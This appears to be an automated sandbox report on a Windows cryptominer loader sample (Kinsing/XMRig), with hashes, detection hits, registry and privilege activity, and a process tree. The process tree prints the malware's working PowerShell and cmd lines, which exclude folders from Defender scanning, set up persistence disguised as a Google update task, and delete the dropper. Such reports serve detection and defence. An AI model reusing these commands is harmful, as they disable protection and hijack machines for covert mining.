kinsing | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
1800s
max time network
1798s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
23/01/2024, 19:27

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General

Target
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Size 2.0MB
Sample240123-x591qagbd7
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

kinsing xmrig loader miner upx

Malware Config

Signatures

Kinsing
Kinsing is a loader written in Golang.
loader kinsing

Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs

description	pid	Process	procid_target
PID 4084 created 3296	4084	6aNn9vLJCQVfagSE.exe	39
PID 4084 created 3296	4084	6aNn9vLJCQVfagSE.exe	39
PID 4084 created 3296	4084	6aNn9vLJCQVfagSE.exe	39
PID 4084 created 3296	4084	6aNn9vLJCQVfagSE.exe	39
PID 2036 created 3296	2036	updater.exe	39
PID 2036 created 3296	2036	updater.exe	39
PID 2036 created 3296	2036	updater.exe	39
PID 2036 created 3296	2036	updater.exe	39
PID 4456 created 3296	4456	conhost.exe	39

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral4/memory/1268-125-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	xmrig
behavioral4/memory/1268-127-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	xmrig
behavioral4/memory/1268-130-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	xmrig
behavioral4/memory/1268-132-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	xmrig
behavioral4/memory/1268-134-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	xmrig
behavioral4/memory/1268-138-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	xmrig
behavioral4/memory/1268-140-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	xmrig
behavioral4/memory/1268-142-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	xmrig
behavioral4/memory/1268-144-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	xmrig
behavioral4/memory/1268-146-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	xmrig
behavioral4/memory/1268-148-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	xmrig
behavioral4/memory/1268-150-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	xmrig
behavioral4/memory/1268-152-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	xmrig
behavioral4/memory/1268-154-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	xmrig
behavioral4/memory/1268-156-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	xmrig
behavioral4/memory/1268-158-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	xmrig
behavioral4/memory/1268-160-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	xmrig
behavioral4/memory/1268-162-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	xmrig
behavioral4/memory/1268-164-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	xmrig
behavioral4/memory/1268-166-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	xmrig
behavioral4/memory/1268-172-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	xmrig
behavioral4/memory/1268-174-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	xmrig
behavioral4/memory/1268-176-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	xmrig
behavioral4/memory/1268-178-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	xmrig
behavioral4/memory/1268-180-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	xmrig
behavioral4/memory/1268-182-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	xmrig
behavioral4/memory/1268-184-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	xmrig
behavioral4/memory/1268-186-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	xmrig
behavioral4/memory/1268-188-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	xmrig
behavioral4/memory/1268-190-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
2036	updater.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/memory/1268-117-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	upx
behavioral4/memory/1268-125-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	upx
behavioral4/memory/1268-127-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	upx
behavioral4/memory/1268-130-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	upx
behavioral4/memory/1268-132-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	upx
behavioral4/memory/1268-134-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	upx
behavioral4/memory/1268-138-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	upx
behavioral4/memory/1268-140-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	upx
behavioral4/memory/1268-142-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	upx
behavioral4/memory/1268-144-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	upx
behavioral4/memory/1268-146-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	upx
behavioral4/memory/1268-148-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	upx
behavioral4/memory/1268-150-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	upx
behavioral4/memory/1268-152-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	upx
behavioral4/memory/1268-154-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	upx
behavioral4/memory/1268-156-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	upx
behavioral4/memory/1268-158-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	upx
behavioral4/memory/1268-160-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	upx
behavioral4/memory/1268-162-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	upx
behavioral4/memory/1268-164-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	upx
behavioral4/memory/1268-166-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	upx
behavioral4/memory/1268-172-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	upx
behavioral4/memory/1268-174-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	upx
behavioral4/memory/1268-176-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	upx
behavioral4/memory/1268-178-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	upx
behavioral4/memory/1268-180-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	upx
behavioral4/memory/1268-182-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	upx
behavioral4/memory/1268-184-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	upx
behavioral4/memory/1268-186-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	upx
behavioral4/memory/1268-188-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	upx
behavioral4/memory/1268-190-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp	upx

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2036 set thread context of 4456	2036	updater.exe	111
PID 2036 set thread context of 1268	2036	updater.exe	114

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	6aNn9vLJCQVfagSE.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4008	WMIC.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
4084	6aNn9vLJCQVfagSE.exe
4084	6aNn9vLJCQVfagSE.exe
1732	powershell.exe
1732	powershell.exe
4084	6aNn9vLJCQVfagSE.exe
4084	6aNn9vLJCQVfagSE.exe
3636	powershell.exe
3636	powershell.exe
4084	6aNn9vLJCQVfagSE.exe
4084	6aNn9vLJCQVfagSE.exe
4084	6aNn9vLJCQVfagSE.exe
4084	6aNn9vLJCQVfagSE.exe
4288	powershell.exe
4288	powershell.exe
2036	updater.exe
2036	updater.exe
4888	powershell.exe
4888	powershell.exe
2036	updater.exe
2036	updater.exe
4792	powershell.exe
4792	powershell.exe
2036	updater.exe
2036	updater.exe
2036	updater.exe
2036	updater.exe
4456	conhost.exe
4456	conhost.exe
2036	updater.exe
2036	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
656	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1732	powershell.exe
Token: SeDebugPrivilege	3636	powershell.exe
Token: SeIncreaseQuotaPrivilege	3636	powershell.exe
Token: SeSecurityPrivilege	3636	powershell.exe
Token: SeTakeOwnershipPrivilege	3636	powershell.exe
Token: SeLoadDriverPrivilege	3636	powershell.exe
Token: SeSystemProfilePrivilege	3636	powershell.exe
Token: SeSystemtimePrivilege	3636	powershell.exe
Token: SeProfSingleProcessPrivilege	3636	powershell.exe
Token: SeIncBasePriorityPrivilege	3636	powershell.exe
Token: SeCreatePagefilePrivilege	3636	powershell.exe
Token: SeBackupPrivilege	3636	powershell.exe
Token: SeRestorePrivilege	3636	powershell.exe
Token: SeShutdownPrivilege	3636	powershell.exe
Token: SeDebugPrivilege	3636	powershell.exe
Token: SeSystemEnvironmentPrivilege	3636	powershell.exe
Token: SeRemoteShutdownPrivilege	3636	powershell.exe
Token: SeUndockPrivilege	3636	powershell.exe
Token: SeManageVolumePrivilege	3636	powershell.exe
Token: 33	3636	powershell.exe
Token: 34	3636	powershell.exe
Token: 35	3636	powershell.exe
Token: 36	3636	powershell.exe
Token: SeIncreaseQuotaPrivilege	3636	powershell.exe
Token: SeSecurityPrivilege	3636	powershell.exe
Token: SeTakeOwnershipPrivilege	3636	powershell.exe
Token: SeLoadDriverPrivilege	3636	powershell.exe
Token: SeSystemProfilePrivilege	3636	powershell.exe
Token: SeSystemtimePrivilege	3636	powershell.exe
Token: SeProfSingleProcessPrivilege	3636	powershell.exe
Token: SeIncBasePriorityPrivilege	3636	powershell.exe
Token: SeCreatePagefilePrivilege	3636	powershell.exe
Token: SeBackupPrivilege	3636	powershell.exe
Token: SeRestorePrivilege	3636	powershell.exe
Token: SeShutdownPrivilege	3636	powershell.exe
Token: SeDebugPrivilege	3636	powershell.exe
Token: SeSystemEnvironmentPrivilege	3636	powershell.exe
Token: SeRemoteShutdownPrivilege	3636	powershell.exe
Token: SeUndockPrivilege	3636	powershell.exe
Token: SeManageVolumePrivilege	3636	powershell.exe
Token: 33	3636	powershell.exe
Token: 34	3636	powershell.exe
Token: 35	3636	powershell.exe
Token: 36	3636	powershell.exe
Token: SeIncreaseQuotaPrivilege	3636	powershell.exe
Token: SeSecurityPrivilege	3636	powershell.exe
Token: SeTakeOwnershipPrivilege	3636	powershell.exe
Token: SeLoadDriverPrivilege	3636	powershell.exe
Token: SeSystemProfilePrivilege	3636	powershell.exe
Token: SeSystemtimePrivilege	3636	powershell.exe
Token: SeProfSingleProcessPrivilege	3636	powershell.exe
Token: SeIncBasePriorityPrivilege	3636	powershell.exe
Token: SeCreatePagefilePrivilege	3636	powershell.exe
Token: SeBackupPrivilege	3636	powershell.exe
Token: SeRestorePrivilege	3636	powershell.exe
Token: SeShutdownPrivilege	3636	powershell.exe
Token: SeDebugPrivilege	3636	powershell.exe
Token: SeSystemEnvironmentPrivilege	3636	powershell.exe
Token: SeRemoteShutdownPrivilege	3636	powershell.exe
Token: SeUndockPrivilege	3636	powershell.exe
Token: SeManageVolumePrivilege	3636	powershell.exe
Token: 33	3636	powershell.exe
Token: 34	3636	powershell.exe
Token: 35	3636	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2060 wrote to memory of 2012	2060	cmd.exe	103
PID 2060 wrote to memory of 2012	2060	cmd.exe	103
PID 4288 wrote to memory of 560	4288	powershell.exe	104
PID 4288 wrote to memory of 560	4288	powershell.exe	104
PID 2036 wrote to memory of 4456	2036	updater.exe	111
PID 3216 wrote to memory of 4008	3216	cmd.exe	113
PID 3216 wrote to memory of 4008	3216	cmd.exe	113
PID 2036 wrote to memory of 1268	2036	updater.exe	114

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3296
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6aNn9vLJCQVfagSE.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6aNn9vLJCQVfagSE.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:4084
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3636
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6aNn9vLJCQVfagSE.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2060
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4288
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:560
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4888
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4792
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:4456
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:848
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:3216

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2036
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  PID:1268

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
PID:4008

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 690KB
SHA256 a48ce939fcf7afdd7ff6204e56bbaefde15a9078e6e0b417e048b70f967423db
MD5 a25efb75be5008bbe00e187ca74a4602
SHA1 90b275187b53adc4c8366811e7eb6d81cfb5188c
SHA512 e6b87c3966e1ddda342a345149ca92759a90d7f52976c5849a6c59e9a1e8e5a3fc2d4b0ba88391bb1217c6c8a451c1b72a3815904c3c4a981c19ec046e0c2198
SSDEEP 12288:rWVi46hyqG2ckwLxgajd0mAVwb5T3dn88hzNTkuIdZVbc+uxWV+M2CB3kNhd7iGe:rWVipGdVZjdqVC5jd88FC3bc+uxWV+iB
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 832KB
SHA256 fb94d09323fee2f4fef931488970d277c88f1a8559186e5170394701a4859289
MD5 40e723ead9c13c8cbcbf6ab1c9d407db
SHA1 0c9f56a2bf8fb4ed0ec6386131945511a1a0a41d
